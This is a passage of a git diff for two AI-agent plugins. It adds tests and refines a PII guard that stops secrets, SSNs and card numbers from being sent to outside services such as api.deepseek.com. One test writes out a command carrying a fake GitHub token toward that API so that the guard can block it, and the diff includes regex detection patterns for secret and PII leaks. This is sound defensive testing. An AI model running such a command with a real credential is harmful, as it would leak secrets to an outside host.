"version is not 0.2.1" step "2. scripts, both skills, the command and the agent are present" miss="" diff --git a/plugins/ruflo-deepseek-harness/tests/mod.test.ts b/plugins/ruflo-deepseek-harness/tests/mod.test.ts index 2102ebdb8a..95dd2de8e0 100644 --- a/plugins/ruflo-deepseek-harness/tests/mod.test.ts +++ b/plugins/ruflo-deepseek-harness/tests/mod.test.ts @@ -82,3 +82,15 @@ describe('/deepseek-mod', () => { }) }) + +describe('guard: an installed copy of the scripts', () => { + test('a script under a plugin-cache version directory is screened like the repo path', async ($, on) => { + world(on) + on('tool.call', () => ({ result: 'went through' })) + await $.session.start(START) + const SECRET = `ghp_${'a1B2'.repeat(10)}` + const run = (prompt: string) => call({ tool: 'Bash', command: `node ~/.claude/plugins/cache/ruflo/ruflo-deepseek-harness/0.2.0/scripts/reason.mjs --prompt "${prompt}"` }) + expect(denied(await $.tool.call(run(`use ${SECRET}`)).then(r => r, (e: unknown) => String(e)))).toContain('api.deepseek.com') + expect(denied(await $.tool.call(run('hello')))).toContain('went through') + }) +}) diff --git a/plugins/ruflo-federation/.claude-plugin/plugin.json b/plugins/ruflo-federation/.claude-plugin/plugin.json index 4c6025a39c..6cb4d8284f 100644 --- a/plugins/ruflo-federation/.claude-plugin/plugin.json +++ b/plugins/ruflo-federation/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ruflo-federation", "description": "Cross-installation agent federation with zero-trust security, peer discovery, consensus-based task routing, and per-call budget circuit breaker (ADR-097)", - "version": "0.3.0", + "version": "0.3.1", "author": { "name": "ruvnet", "url": "https://github.com/ruvnet" diff --git a/plugins/ruflo-federation/hooks/guard.ts b/plugins/ruflo-federation/hooks/guard.ts index f4d0f0cfa1..947c2efd06 100644 --- a/plugins/ruflo-federation/hooks/guard.ts +++ b/plugins/ruflo-federation/hooks/guard.ts @@ -6,9 +6,9 @@ const tail = (name: string) => (name.startsWith('mcp__') ? name.slice(name.lastI /** Federation tools that put content in front of another installation, plus a federation-namespaced memory write. */ const OUTBOUND = /^(?:x_federation_(?:publish|channel_publish|sync)|federation_bbs_(?:publish|sync))$/ -/** US SSN, and a 13-16 digit run that passes the Luhn check (a card number). */ +/** US SSN, and a 13-16 digit run that passes the Luhn check and starts with a card network digit 2-6 (a card number; a 13-digit epoch-millisecond timestamp starts with 1 and must not read as one). */ const SSN = /\b\d{3}-\d{2}-\d{4}\b/ -const CARD = /\b(?:\d[ -]?){12,15}\d\b/g +const CARD = /\b[2-6](?:\d[ -]?){11,14}\d\b/g function luhn(digits: string): boolean { let sum = 0 diff --git a/plugins/ruflo-federation/scripts/smoke.sh b/plugins/ruflo-federation/scripts/smoke.sh index 84c5cd04b8..73f8d16afa 100755 --- a/plugins/ruflo-federation/scripts/smoke.sh +++ b/plugins/ruflo-federation/scripts/smoke.sh @@ -7,9 +7,9 @@ step() { printf "→ %s ... " "$1"; } ok() { printf "PASS\n"; PASS=$((PASS+1)); } bad() { printf "FAIL: %s\n" "$1"; FAIL=$((FAIL+1)); } -step "1. plugin.json declares 0.3.0 with new keywords" +step "1. plugin.json declares 0.3.1 with new keywords" v=$(grep -E '"version"' "$ROOT/.claude-plugin/plugin.json" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1) -if [[ "$v" != "0.3.0" ]]; then bad "expected 0.3.0, got '$v'"; else +if [[ "$v" != "0.3.1" ]]; then bad "expected 0.3.1, got '$v'"; else miss="" for k in mcp pii-pipeline audit-log; do grep -q "\"$k\"" "$ROOT/.claude-plugin/plugin.json" || miss="$miss $k" diff --git a/plugins/ruflo-federation/tests/mod.test.ts b/plugins/ruflo-federation/tests/mod.test.ts index 0e8370ca52..288be8cc46 100644 --- a/plugins/ruflo-federation/tests/mod.test.ts +++ b/plugins/ruflo-federation/tests/mod.test.ts @@ -121,3 +121,16 @@ describe('/federation-mod', () => { expect(text).not.toContain('memory_store') }) }) + +describe('guard PII: timestamps are not card numbers', () => { + test('a 13-digit epoch-millisecond timestamp passes however its Luhn sum falls; a real card still does not', async ($, on) => { + world(on) + on('tool.call', () => ({ result: 'went through' })) + await $.session.start(START) + const publish = (body: string) => call({ tool: 'mcp__plugin_ruflo-core_ruflo__x_federation_publish', body }) + // 1791154825171 passes the Luhn check; it starts with 1, which no card network issues. + expect(denied(await $.tool.call(publish('sent at 1791154825171')))).toContain('went through') + expect(denied(await $.tool.call(publish('card 4242424242424242')).then(r => r, (e: unknown) => String(e)))).toContain('personal data') + expect(denied(await $.tool.call(publish('amex 3782 822463 10005')).then(r => r, (e: unknown) => String(e)))).toContain('personal data') + }) +})